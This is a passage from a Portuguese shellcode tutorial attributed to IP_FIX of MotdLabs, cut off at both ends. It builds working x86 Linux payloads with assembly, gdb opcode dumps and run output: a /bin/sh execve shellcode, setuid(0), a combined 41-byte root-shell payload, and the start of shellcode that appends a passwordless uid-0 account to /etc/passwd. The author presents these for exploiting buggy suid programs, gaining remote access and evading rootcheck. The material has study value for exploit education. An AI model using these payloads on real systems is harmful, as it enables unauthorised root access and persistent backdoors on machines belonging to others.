isso o problema, repare também que usamos os registradores de 32 bits (eax), que
possuem uma parte alta (ah) e a baixa (al). Quando fazemos um mov $0x4, %eax,
por exemplo, não usamos todo o espaço que o registrador oferece, o que resulta
em NULL byte já que sobra muito espaço.
__asm__(
"mov $0x1, %ebx \n"
"push $0x0A \n"
"push $0x7362614C \n"
"push $0x44544F4D \n"
"mov %esp, %ecx \n"
"mov $0xa, %edx \n"
"mov $0x4, %eax \n"
"int $0x80 \n"
"mov $0x0, %ebx \n"
"mov $0x1, %eax \n"
"int $0x80 \n"
);
Uma solução efetiva para isso, é simplesmente ao invés de jogarmos os 0x0 direto
na pilha (push $0x0) ou movermos 0x0 para um registrador (mov $0x0, %ebx) nós
podemos zerar o próprio registrador com xor (xor %eax, %eax) e jogar para a
pilha (push %eax) assim não terá a necessidade de manusearmos os 0x0.
A outra solução, é também usarmos a parte baixa dos registradores (mov $0xb,
%dl), que faz com que não seje desperdiçado espaço já que estamos usando apenas
uma parte dele. A modificação é simples, e ficará da seguinte forma:
<++> shellcode/asmwrite2.c
/*
* Protótipo de um shellcode em ASM.
* Imprime a string "MOTDLabs" na tela.
* by IP_FIX .
* MotdLabs .
* Compilação: # gcc -o asmwrite2 asmwrite2.c
*/
#include
main()
{
__asm__(
"xor %eax, %eax \n" /* Sem isso nosso código em hexa não roda. :/ */
"xor %ebx, %ebx \n" /* Precisamos zerar %ebx, para jogarmos o $0x1. */
"mov $0x1, %bl \n" /* STDOUT da função write(). */
"push $0x0A \n" /* Aqui temos... (\n) */
"push $0x7362614C \n" /* ...nossa string... (sbaL) */
"push $0x44544F4D \n" /* ...ao contrário. (DTOM) */
"mov %esp, %ecx \n" /* Jogamos nossa string para o contador. Como é muito grande, não usaremos %cl. */
"xor %edx, %edx \n" /* Precisamos zerar %edx, senão terá uma saída suja (imprimirá mais do esperado). */
"mov $0xa, %dl \n" /* Aqui está o tamanho da string: 0xa=10. Jogamos para o registradador de dados. */
"mov $0x4, %al \n" /* Nossa querida system call de write(). */
"int $0x80 \n" /* A melhor hora! Cai pro modo kernel e executa tudo acima! */
"xor %eax, %eax \n" /* Sem isso nosso código em hexa não roda. :/ */
"xor %ebx, %ebx \n" /* Como zeramos %ebx, não será necessário o mov $0x0, %ebx. */
"mov $0x1, %al \n" /* Outra querida system call, da função exit() dessa vez. */
"int $0x80 \n" /* Finalmente! Tudo é executado! */
);
}
<--> shellcode/asmwrite2.c
Terminado! Captaram as alterações? Como perceberam, foram poucas. Uns xor's
aqui, uns %al alí e pronto! Será que ele ficou realmente sem NULL's bytes?
Vamos ver!!! :P
Mas antes reparem que eu adicionei um "xor %eax, %eax" no início de cada função
ao código pois sem eles não conseguiremos rodar nosso programa somente com os
opcodes em hexadecimal.
root@motdlabs:~/IP_FIX/shellcode# gcc -o asmwrite2 asmwrite2.c
root@motdlabs:~/IP_FIX/shellcode# ./asmwrite2
MOTDLabs
root@motdlabs:~/IP_FIX/shellcode#
Compilamos e executamos sem problemas.
Vamos debugar:
root@motdlabs:~/IP_FIX/shellcode# gdb asmwrite2
GNU gdb 5.3
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8048314 : push %ebp
0x8048315 : mov %esp,%ebp
0x8048317 : sub $0x8,%esp
0x804831a : and $0xfffffff0,%esp
0x804831d : mov $0x0,%eax
0x8048322 : sub %eax,%esp
0x8048324 : xor %eax,%eax
0x8048326 : xor %ebx,%ebx
0x8048328 : mov $0x1,%bl
0x804832a : push $0xa
0x804832c : push $0x7362614c
0x8048331 : push $0x44544f4d
0x8048336 : mov %esp,%ecx
0x8048338 : xor %edx,%edx
0x804833a : mov $0xa,%dl
0x804833c : mov $0x4,%al
0x804833e : int $0x80
0x8048340 : xor %eax,%eax
0x8048342 : xor %ebx,%ebx
0x8048344 : mov $0x1,%al
0x8048346 : int $0x80
0x8048348 : leave
0x8048349 : ret
0x804834a : nop
0x804834b : nop
0x804834c : nop
0x804834d : nop
0x804834e : nop
0x804834f : nop
End of assembler dump.
(gdb)
Repare que agora o código começa em , como antes, mas agora termina em
. A retirada dos null's bytes fez o programa fica menor ainda. Vamos
capturar os opcodes novamente.:
(gdb) x/xb main+16
0x8048324 : 0x31
(gdb)
0x8048325 : 0xc0
(gdb)
0x8048326 : 0x31
(gdb)
0x8048327 : 0xdb
(gdb)
0x8048328 : 0xb3
(gdb)
...
...
...
0x8048343 : 0xdb
(gdb)
0x8048344 : 0xb0
(gdb)
0x8048345 : 0x01
(gdb)
0x8048346 : 0xcd
(gdb)
0x8048347 : 0x80
(gdb)
Agora iremos montá-lo denovo, somente com os códigos em hexadecimal.:
<++> shellcode/hexawrite2.c
/*
* Shellcode pronto em hexadecimal.
* Imprime a string "MOTDLabs" na tela.
* by IP_FIX .
* MotdLabs .
* Compilação: # gcc -o hexawrite2 hexawrite2.c
*/
#include
char shellcode[] = "\x31\xc0" /* xor %eax, %eax */
"\x31\xdb" /* xor %ebx, %ebx */
"\xb3\x01" /* mov $0x1, %bl */
"\x6a\x0a" /* push $0x0A */
"\x68\x4c\x61\x62\x73" /* push $0x7362614C */
"\x68\x4d\x4f\x54\x44" /* push $0x44544F4D */
"\x89\xe1" /* mov %esp, %ecx */
"\x31\xd2" /* xor %edx, %edx */
"\xb2\x0a" /* mov $0xa, %dl */
"\xb0\x04" /* mov $0x4, %al */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax, %eax */
"\x31\xdb" /* xor %ebx, %ebx */
"\xb0\x01" /* mov $0x1, %al */
"\xcd\x80"; /* int $0x80 */
main() {
/* Mostramos o tamanho para se ter um controle maior. */
printf("Tamanho do Shellcode: %d bytes.\n", strlen(shellcode));
/* Criamos um ponteiro para uma função do tipo long. */
long (*executa) ();
/* Apontamos a função para o shellcode. */
executa = shellcode;
/* E aqui acontece a mágica! :) */
executa();
}
<--> shellcode/hexawrite2.c
root@motdlabs:~/IP_FIX/shellcode# gcc -o hexawrite2 hexawrite2.c
hexawrite2.c: In function `main':
hexawrite2.c:36: warning: assignment from incompatible pointer type
root@motdlabs:~/IP_FIX/shellcode# ./hexawrite2
Tamanho do Shellcode: 36 bytes.
MOTDLabs
root@motdlabs:~/IP_FIX/shellcode#
w00w00!!! Código bem menor, mais elegante e continua funcional!!!
A retirada dos 0x00 fizeram uma grande diferença em nosso código. Perceberam só
como não tem muito segredo escrever um shellcode, é tudo questão de raciocínio e
assembly! :P
Para escrevermos na tela foram empurrados letras em hexadecimal para o stack.
Aqui está a tabela ascii para você acompanhar esse artigo com mais clareza.:
root@motdlabs:~/IP_FIX/shellcode# man ascii
Oct Dec Hex Char Oct Dec Hex Char
------------------------------------------------------------
000 0 00 NUL '\0' 100 64 40 @
001 1 01 SOH 101 65 41 A
002 2 02 STX 102 66 42 B
003 3 03 ETX 103 67 43 C
004 4 04 EOT 104 68 44 D
005 5 05 ENQ 105 69 45 E
006 6 06 ACK 106 70 46 F
007 7 07 BEL '\a' 107 71 47 G
010 8 08 BS '\b' 110 72 48 H
011 9 09 HT '\t' 111 73 49 I
012 10 0A LF '\n' 112 74 4A J
013 11 0B VT '\v' 113 75 4B K
014 12 0C FF '\f' 114 76 4C L
015 13 0D CR '\r' 115 77 4D M
016 14 0E SO 116 78 4E N
017 15 0F SI 117 79 4F O
020 16 10 DLE 120 80 50 P
021 17 11 DC1 121 81 51 Q
022 18 12 DC2 122 82 52 R
023 19 13 DC3 123 83 53 S
024 20 14 DC4 124 84 54 T
025 21 15 NAK 125 85 55 U
026 22 16 SYN 126 86 56 V
027 23 17 ETB 127 87 57 W
030 24 18 CAN 130 88 58 X
031 25 19 EM 131 89 59 Y
032 26 1A SUB 132 90 5A Z
033 27 1B ESC 133 91 5B [
034 28 1C FS 134 92 5C \ '\\'
035 29 1D GS 135 93 5D ]
036 30 1E RS 136 94 5E ^
037 31 1F US 137 95 5F _
040 32 20 SPACE 140 96 60 `
041 33 21 ! 141 97 61 a
042 34 22 " 142 98 62 b
043 35 23 # 143 99 63 c
044 36 24 $ 144 100 64 d
045 37 25 % 145 101 65 e
046 38 26 & 146 102 66 f
047 39 27 ' 147 103 67 g
050 40 28 ( 150 104 68 h
051 41 29 ) 151 105 69 i
052 42 2A * 152 106 6A j
053 43 2B + 153 107 6B k
054 44 2C , 154 108 6C l
055 45 2D - 155 109 6D m
056 46 2E . 156 110 6E n
057 47 2F / 157 111 6F o
060 48 30 0 160 112 70 p
061 49 31 1 161 113 71 q
062 50 32 2 162 114 72 r
063 51 33 3 163 115 73 s
064 52 34 4 164 116 74 t
065 53 35 5 165 117 75 u
066 54 36 6 166 118 76 v
067 55 37 7 167 119 77 w
070 56 38 8 170 120 78 x
071 57 39 9 171 121 79 y
072 58 3A : 172 122 7A z
073 59 3B ; 173 123 7B {
074 60 3C < 174 124 7C |
075 61 3D = 175 125 7D }
076 62 3E > 176 126 7E ~
077 63 3F ? 177 127 7F DEL
Sempre que precisar consulte ela pelo terminal.
O cwrite foi só um exemplo básico para se pegar a idéia essencial de como se
constrói um shellcode. Com essa base, podemos nos aprofundar um pouco mais e
escrever algo mais divertido. :)
Agora vamos escrever um shellcode que irá nos dar uma shell. Sim amigos, o
famoso "/bin/sh"!!! Todo tutorial de shellcode que se preze mostra como
fazê-lo... :P
A coisa se complicará um pouco comparando com o primeiro, mas vamos escrever da
forma mais simples possível e passo-a-passo, com isso espero ampliar sua mente e
tirar sua dúvida, jovem fuçador. :) Chega de papo e vamos lá!!! =)
Como de costume, vamos escrever primeiramente o protótipo em C.
<++> shellcode/csh.c
/*
* Protótipo de shellcode em C.
* Abre uma shell /bin/sh.
* by IP_FIX .
* MotdLabs .
* Compilação: # gcc -o csh csh.c
*/
#include
main() {
char *string[2];
string[0]= "/bin/sh";
string[1]= '\0';
execve(string[0], string, '\0');
exit(0);
}
<--> shellcode/csh.c
Vamos compilá-lo e executá-lo.:
root@motdlabs:~/IP_FIX/shellcode# gcc -o csh csh.c
root@motdlabs:~/IP_FIX/shellcode# ./csh
sh-2.05b#
Funciona perfeitamente. Mas agora precisamos entender como funciona a função
execve().:
root@motdlabs:~/IP_FIX/shellcode# man execve
int execve(const char *filename, char *const argv [], char *const envp[]);
Bem, se seguirmos a analogia do que a man page nos diz, veremos que temos que
criar um ponteiro com vetor para o que queremos executar (char *filename), e um
outro ponteiro para o argumento que será passado (char *const argv []).
Ou seja, temos que ter nossa string (string[0]), no primeiro argumento, seguido
por um byte nulo (string[1]) no segundo argumento, pra indicar o fim da string.
Como não usaremos nenhuma variável ambiente, colocamos um null byte no último
argumento.
Repare que não podemos fazer da seguinte forma: execve("/bin/sh",'\0','\0"),
pois se tem a necessidade de passar os bytes nulos através do ponteiro com
vetor. A man page explica isso direitinho. :)
Agora vamos voltar ao trabalho. Agora que sabemos a forma de executar o que
queremos, temos que transpor isso para assembly. Vamos usar nossa tabelinha para
ver como devemos manuesar a função execve() em baixo-nível.:
_________________________________________________________________________________________________
|%eax| Name | Source | %ebx | %ecx | %edx | %esx | %edi |
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''-'''''''''''''
| 11 | sys_exeve | arch/i386/kernel/process.c | char *filename | *argv[] | *envp[] | | |
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Ok! Temos as informações necessárias, vamos tentar montá-lo agora em ASM.:
<++> shellcode/asmsh.c
/*
* Protótipo de shellcode em ASM.
* Abre uma shell /bin/sh.
* by IP_FIX .
* MotdLabs .
* Compilação: # gcc -o asmsh asmsh.c
*/
#include
main() {
__asm__ (
"xor %eax, %eax \n" /* Zeramos %eax. */
"push %eax \n" /* Byte nulo da string /bin/sh para encerrá-la. (char *filename,... */
"push $0x68732F2F \n" /* Foi colocado duas barras (//) para não ficar com null byte. */
"push $0x6E69622F \n" /* /bin//sh */
"mov %esp, %ebx \n" /* Agora que temos tudo no stack, movemos para %ebx: (char *filename,... */
"push %eax \n" /* NULL byte que finaliza a string /bin/sh no ...char *const argv[],... */
"push %ebx \n" /* Devolve o valor antigo do stack pro novo stack. */
"mov %esp, %ecx \n" /* Com a string novamente no stack, vai para %ecx: ...char *const argv[],... */
"xor %edx, %edx \n" /* Zeramos %edx para deixar um null byte. %edx: ...char *const envp[]); */
"mov $0xb, %al \n" /* System Call da função execve(), 0xb = 11. */
"int $0x80 \n" /* Ação! :) */
"xor %eax, %eax \n" /* %eax == 0 */
"xor %ebx, %ebx \n" /* %ebx == 0 == EXIT_SUCCESS */
"mov $0x1, %al \n" /* sys_call de exit() */
"int $0x80 \n" /* Play! :P */
);
}
<--> shellcode/asmsh.c
root@motdlabs:~/IP_FIX/shellcode# gcc -o asmsh asmsh.c
root@motdlabs:~/IP_FIX/shellcode# ./asmsh
sh-2.05b#
w00w00!!! Nada de jmp, call, pop, inc, etc... apenas instruções simples que
vimos no exemplo de write().
Mas não terminamos, temos que pegar os opcodes para montarmos ele em
hexadecimal.:
root@motdlabs:~/IP_FIX/shellcode# gdb asmsh
GNU gdb 5.3
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8048314 : push %ebp
0x8048315 : mov %esp,%ebp
0x8048317 : sub $0x8,%esp
0x804831a : and $0xfffffff0,%esp
0x804831d : mov $0x0,%eax
0x8048322 : sub %eax,%esp
0x8048324 : xor %eax,%eax
0x8048326 : push $0x68732f2f
0x804832b : push $0x6e69622f
0x8048330 : mov %esp,%ebx
0x8048332 : push %eax
0x8048333 : push %ebx
0x8048334 : mov %esp,%ecx
0x8048336 : xor %edx,%edx
0x8048338 : mov $0xb,%al
0x804833a : int $0x80
0x804833c : xor %eax,%eax
0x804833e : xor %ebx,%ebx
0x8048340 : mov $0x1,%al
0x8048342 : int $0x80
0x8048344 : leave
0x8048345 : ret
0x8048346 : nop
0x8048347 : nop
0x8048348 : nop
0x8048349 : nop
0x804834a : nop
0x804834b : nop
0x804834c : nop
0x804834d : nop
0x804834e : nop
0x804834f : nop
End of assembler dump.
(gdb) x/xb main+16
0x8048324 : 0x31
(gdb)
0x8048325 : 0xc0
(gdb)
0x8048326 : 0x50
(gdb)
0x8048327 : 0x68
(gdb)
0x8048328 : 0x2f
(gdb)
...
...
...
0x8048340 : 0xdb
(gdb)
0x8048341 : 0xb0
(gdb)
0x8048342 : 0x01
(gdb)
0x8048343 : 0xcd
(gdb)
0x8048344 : 0x80
(gdb)
<++> shellcode/hexash.c
/*
* Protótipo de shellcode em ASM.
* Abre uma shell /bin/sh.
* by IP_FIX .
* MotdLabs .
* Compilação: # gcc -o hexash hexash.c
*/
#include
char shellcode[] = "\x31\xc0" /* xor %eax, %eax */
"\x50" /* push %eax */
"\x68\x2f\x2f\x73\x68" /* push $0x68732F2F */
"\x68\x2f\x62\x69\x6e" /* push $0x6E69622F */
"\x89\xe3" /* mov %esp, %ebx */
"\x50" /* push %eax */
"\x53" /* push %ebx */
"\x89\xe1" /* mov %esp, %ecx */
"\x31\xd2" /* xor %edx, %edx */
"\xb0\x0b" /* mov $0xb, %al */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax, %eax */
"\x31\xdb" /* xor %ebx, %ebx */
"\xb0\x01" /* mov $0x1, %al */
"\xcd\x80"; /* int $0x80 */
main() {
/* Mostramos o tamanho para se ter um controle maior. */
printf("Tamanho do Shellcode: %d bytes.\n", strlen(shellcode));
/* Criamos um ponteiro para uma função do tipo long. */
long (*executa) ();
/* Apontamos a função para o shellcode. */
executa = shellcode;
/* E aqui acontece a mágica! :) */
executa();
}
<--> shellcode/hexash.c
root@motdlabs:~/IP_FIX/shellcode# gcc -o hexash hexash.c
hexash.c: In function `main':
hexash.c:36: warning: assignment from incompatible pointer type
root@motdlabs:~/IP_FIX/shellcode# ./hexash
Tamanho do Shellcode: 33 bytes.
sh-2.05b#
w00w00!!! Um shellcode /bin/sh de 33 bytes. Isso é incrível pra quem está
acostumado com o tamanho do Aleph1 (45 bytes), mas não tem nenhuma técnica
desconhecida.
Que tal incrementarmos um pouquinho? É mais que óbvio que usaremos essa shell
para conseguir acesso remoto através de alguma vulnerabilidade. E que tal assim
que cairmos, termos permissões root (uid=0)??? Sim! Isso é possível, e é mais
fácil do que você imagina. Vamos ver.:
<++> shellcode/csetuid.c
/*
* Protótipo de shellcode em C.
* Seta uid atual para 0.
* by IP_FIX .
* MotdLabs .
* Compilação: # gcc -o csetuid csetuid.c
*/
#include
main() {
setuid(0);
}
<--> shellcode/csetuid.c
root@motdlabs:~/IP_FIX/shellcode# gcc -o csetuid csetuid.c
root@motdlabs:~/IP_FIX/shellcode# ./csetuid
root@motdlabs:~/IP_FIX/shellcode#
Ok, agora vamos ver como funciona e criá-lo em ASM:
root@motdlabs:~/IP_FIX/shellcode# man setuid
int setuid(uid_t uid);
uid: user identity; aqui vai o número que o user será identificado, lembrando
que 0 é root, e acima disso é user normal ($).
Sem problemas, agora vamos ver a system call table dele.:
_____________________________________________________________________________________________
|%eax| Name | Source | %ebx | %ecx | %edx | %esx | %edi |
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
| 23 | sys_setuid | kernel/sys.c | uid_t | | | | |
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Bom, então é só movermos 23 pra %eax, 0 para %ebx e dar um int $0x80 que a
mágica acontece! :D
<++> shellcode/asmsetuid.c
/*
* Protótipo de shellcode em ASM.
* Seta uid atual para 0.
* by IP_FIX .
* MotdLabs .
* Compilação: # gcc -o asmsetuid asmsetuid.c
*/
#include
main() {
__asm__(
"xor %eax, %eax \n" /* %eax == 0 */
"xor %ebx, %ebx \n" /* uid == 0. */
"mov $0x17, %al \n" /* %al == 23. */
"int $0x80 \n" /* Modo Kernel. */
);
}
<--> shellcode/asmsetuid.c
Tão simples quanto exit(). Vamos compilar, testar, debugar e capturar seus
opcodes em hexadecimal.:
root@motdlabs:~/IP_FIX/shellcode# gcc -o asmsetuid asmsetuid.c
root@motdlabs:~/IP_FIX/shellcode# ./asmsetuid
root@motdlabs:~/IP_FIX/shellcode# gdb asmsetuid
GNU gdb 5.3
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8048314 : push %ebp
0x8048315 : mov %esp,%ebp
0x8048317 : sub $0x8,%esp
0x804831a : and $0xfffffff0,%esp
0x804831d : mov $0x0,%eax
0x8048322 : sub %eax,%esp
0x8048324 : xor %eax,%eax
0x8048326 : xor %ebx,%ebx
0x8048328 : mov $0x17,%al
0x804832a : int $0x80
0x804832c : leave
0x804832d : ret
0x804832e : nop
0x804832f : nop
End of assembler dump.
(gdb) x/xb main+16
0x8048324 : 0x31
(gdb)
0x8048325 : 0xc0
(gdb)
0x8048326 : 0x31
(gdb)
0x8048327 : 0xdb
(gdb)
0x8048328 : 0xb0
(gdb)
0x8048329 : 0x17
(gdb)
0x804832a : 0xcd
(gdb)
0x804832b : 0x80
(gdb)
Montando...:
<++> shellcode/hexasetuid.c
/*
* Shellcode pronto em hexadecimal.
* Seta uid atual para 0.
* by IP_FIX .
* MotdLabs .
* Compilação: # gcc -o hexasetuid hexasetuid.c
*/
#include
char shellcode[] = "\x31\xc0" /* xor %eax, %eax */
"\x31\xdb" /* xor %ebx, %ebx */
"\xb0\x17" /* mov $0x17, %al */
"\xcd\x80"; /* int $0x80 */
main() {
/* Mostramos o tamanho para se ter um controle maior. */
printf("Tamanho do Shellcode: %d bytes.\n", strlen(shellcode));
/* Criamos um ponteiro para uma função do tipo long. */
long (*executa) ();
/* Apontamos a função para o shellcode. */
executa = shellcode;
/* E aqui acontece a mágica! :) */
executa();
}
<--> shellcode/hexasetuid.c
Compilando e executando...
root@motdlabs:~/IP_FIX/shellcode# gcc -o hexasetuid hexasetuid.c
hexasetuid.c: In function `main':
hexasetuid.c:25: warning: assignment from incompatible pointer type
root@motdlabs:~/IP_FIX/shellcode# ./hexasetuid
Tamanho do Shellcode: 8 bytes.
Segmentation fault
root@motdlabs:~/IP_FIX/shellcode#
Pronto!!! Viram como é simples fazer um simples setuid(0)?
Um detalhe galera, vocês devem ter notado que houve uma saída errada:
"Segmentation fault". Não se alarmem, isso se deve ao fato de não termos
colocado um exit(0). Em compiladores menores que o 3.3.1 não era necessário
colocar o exit(0), pois sua saída seria sempre limpa, mas agora ele tem umas
frescuras... Bom, nosso código não está errado e vocês verão que está certo
mesmo. ;)
Agora você deve estar se perguntado como você executará isso num futuro uso. É
simples, somente temos que acoplar numa shell padrão como o nosso /bin/sh. Como?
Basta aplicar o código sobre o anterior da seguinte maneira.:
<++> shellcode/shsetuid.c
/*
* Shellcode pronto em hexadecimal.
* Abre uma shell /bin/sh + setuid(0) + exit(0).
* by IP_FIX .
* MotdLabs .
* Compilação: # gcc -o shsetuid shsetuid.c
*/
#include
char shellcode[] = "\x31\xc0" /* xor %eax, %eax */
"\x31\xdb" /* xor %ebx,%ebx */
"\xb0\x17" /* mov $0x17,%al */
"\xcd\x80" /* int $0x80 */ /* setuid(0); */
"\x31\xc0" /* xor %eax, %eax */
"\x50" /* push %eax */
"\x68\x2f\x2f\x73\x68" /* push $0x68732F2F */
"\x68\x2f\x62\x69\x6e" /* push $0x6E69622F */
"\x89\xe3" /* mov %esp, %ebx */
"\x50" /* push %eax */
"\x53" /* push %ebx */
"\x89\xe1" /* mov %esp, %ecx */
"\x31\xd2" /* xor %edx, %edx */
"\xb0\x0b" /* mov $0xb, %al */
"\xcd\x80" /* int $0x80 */ /* /bin/sh; */
"\x31\xc0" /* xor %eax, %eax */
"\x31\xdb" /* xor %ebx, %ebx */
"\xb0\x01" /* mov $0x1, %al */
"\xcd\x80"; /* int $0x80 */ /* exit(0). */
main() {
/* Mostramos o tamanho para se ter um controle maior. */
printf("Tamanho do Shellcode: %d bytes.\n", strlen(shellcode));
/* Criamos um ponteiro para uma função do tipo long. */
long (*executa) ();
/* Apontamos a função para o shellcode. */
executa = shellcode;
/* E aqui acontece a mágica! :) */
executa();
}
<--> shellcode/shsetuid.c
Compilando e executando...
root@motdlabs:~/IP_FIX/shellcode# gcc -o shsetuid shsetuid.c
shsetuid.c: In function `main':
shsetuid.c:41: warning: assignment from incompatible pointer type
root@motdlabs:~/IP_FIX/shellcode# ./shsetuid
Tamanho do Shellcode: 41 bytes.
sh-2.05b#
w00w00!!! Um shellcode /bin/sh com setuid(0) + exit(0) por apenas 41 bytes!!!
Repare que para criá-lo não foi preciso refazer todo o código novamente, apenas
adicionamos um novo código ao velho, sem termos complicações.
Muito útil para conseguirmos acesso root através de programas bugados que sejam
suid root (chmod +s).
Puxa vida, sabemos criar shellcodes que escreve na tela, abre shells
e que ainda podemos conseguir previlégios root dependendo da situação, então o
que nos impede de criarmos mais?
Você terá que escrever diferentes shellcodes dependendo da situação, haverá
certos casos que existirão programas que não permitirão a obtenção de
shell através de ataques básicos como buffer overflow (stack) e teremos que
ser criativos para burlamos. Enfim, cada caso é um caso! Nem sempre as coisas
são o que parecem ser, então teremos que ter uma grande malícia para burlar
determinados sistemas de proteção como o rootcheck, por exemplo, que ao
obtermos uma root shell não autorizada, o próprio irá killar o processo em que
estamos.
Ohhh!!! Será o fim??? Claro que não!!! Programas desse gênero derruba quem obtém
uma root shell atráves de shellcodes como o acima, mas não existe apenas uma
maneira de conseguirmos acesso root, como conseguiremos então?
Pense o seguinte: Sabemos escrever na tela, o que nos impede de escrevermos em
arquivos? Sabendo disso, nada nos impede de adicionarmos um usuário com
privilégios root no /etc/passwd da vítima!!! Devolta aos protótipos!!! :D
<++> shellcode/cpasswd.c
/*
* Protótipo de shellcode em C.
* Adiciona um usuário com premissões root.
* by IP_FIX .
* MotdLabs .
* Compilação: # gcc -o cpasswd cpasswd.c
*/
#include
#include
#include
main() {
/* Declaramos passwd como um inteiro. */
int passwd;
/* Usamos open para abrir o arquivo; atenção nas flags!!!
* O_RDWR: Read and Write/Leitura e Escrita.
* O_APPEND: O ponteiro será apontado no fim do arquivo.
*/
/* passwd = open("/etc/passwd",O_RDWR|O_APPEND); */
passwd = open("/etc/passwd",1026);
/* Após aberto, escrevemos nossa string no arquivo desejado. */
/* write(passwd,"\nip_fix::0:0::/root:/bin/sh\n",strlen("\nip_fix::0:0::/root:/bin/sh\n")); */
write(passwd,"\nip_fix::0:0::/root:/bin/sh\n",30);
/* Sai livremente. */
exit(0);
}
<--> shellcode/cpasswd.c
Lembre-se: Se você tiver alguma dúvida sobre as funções, utilize as
man pages, você aprenderá muito com elas, te garanto! Pronto. Agora
chegou a melhor hora: Compilar e executar!!! :) Confira seu
/etc/passwd primeiro.
root@motdlabs:~/IP_FIX/shellcode# cat /etc/passwd
root:x:0:0::/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/log:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
ftp:x:14:50::/home/ftp:
smmsp:x:25:25:smmsp:/var/spool/clientmqueue:
mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash
rpc:x:32:32:RPC portmap user:/:/bin/false
sshd:x:33:33:sshd:/:
gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
pop:x:90:90:POP:/:
nobody:x:99:99:nobody:/:
root@motdlabs:~/IP_FIX/shellcode#
Compilando e executando...
root@motdlabs:~/IP_FIX/shellcode# gcc -o cpasswd cpasswd.c
root@motdlabs:~/IP_FIX/shellcode# ./cpasswd
root@motdlabs:~/IP_FIX/shellcode# cat /etc/passwd
root:x:0:0::/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/log:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
ftp:x:14:50::/home/ftp:
smmsp:x:25:25:smmsp:/var/spool/clientmqueue:
mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash
rpc:x:32:32:RPC portmap user:/:/bin/false
sshd:x:33:33:sshd:/:
gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
pop:x:90:90:POP:/:
nobody:x:99:99:nobody:/:
ip_fix::0:0::/root:/bin/sh
root@motdlabs:~/IP_FIX/shellcode#
Agora temos que converter para assembly, será um pouco trabalhoso mas nada
impossível! Vamos ver nossa tabela primeiro.:
_____________________________________________________________________________________________
|%eax| Name | Source | %ebx | %ecx | %edx | %esx | %edi |
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
| 1 | sys_exit | kernel/exit.c | int | | | | |
| 4 | sys_write | arch/i386/kernel/process.c | unsigned int | char * | size_t | | |
| 5 | sys_open | fs/open.c | const char * | int | int | | |
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
root@motdlabs:~/IP_FIX/shellcode# man open
int open(const char *pathname, int flags, mode_t mode);
[ %ebx ] [ %ecx ] [ %edx ]
De posse dessas informações, vamos construir nosso
código em assembly.
<++> shellcode/asmpasswd.c
/*
* Protótipo de shellcode em ASM.
* Adiciona um usuário com premissões root.
* by IP_FIX .
* MotdLabs .
* Compilação: # gcc -o asmpasswd asmpasswd.c
*/
#include
main() {
__asm__(
"xor %eax, %eax \n" /* Zera %eax. */
"push $0x647773 \n" /* Movemos toda no string... */
"push $0x7361702F \n" /* ...para o stack. */
"push $0x6374652F \n" /* /etc/passwd */
"mov %esp, %ebx \n" /* Agora jogamos nossa string para %ebx: (const char *pathname,... */
"mov $0x402, %cx \n" /* Movemos O_RDWR|O_APPEND para %cx: ...int flags,... */
"mov $0x5, %al \n" /* System Call de open(). */
"int $0x80 \n" /* Cai pro modo kernel. */
"mov %eax, %ebx \n" /* Tudo que foi feito em open, foi para %eax, agora precisamos tê-lo em %ebx. */
"push $0x0A68732F \n" /* Movemos... */
"push $0x6E69622F \n" /* ...a outra... */
"push $0x3A746F6F \n" /* ...string... */
"push $0x722F3A3A \n" /* ...novamente... */
"push $0x303A303A \n" /* ...para o... */
"push $0x3A786966 \n" /* ...Stack. */
"push $0x5F70690A \n" /* \nip_fix::0:0::/root:/bin/sh\n */
"mov %esp, %ecx \n" /* Jogamos ela no contador %ecx. */
"xor %edx, %edx \n" /* Zeramos %edx. */
"mov $0x1C, %dl \n" /* Tamanho da string em %edx. */
"mov $0x4, %al \n" /* Nossa amável system call de write(). */
"int $0x80 \n" /* Comece o Show!!! */
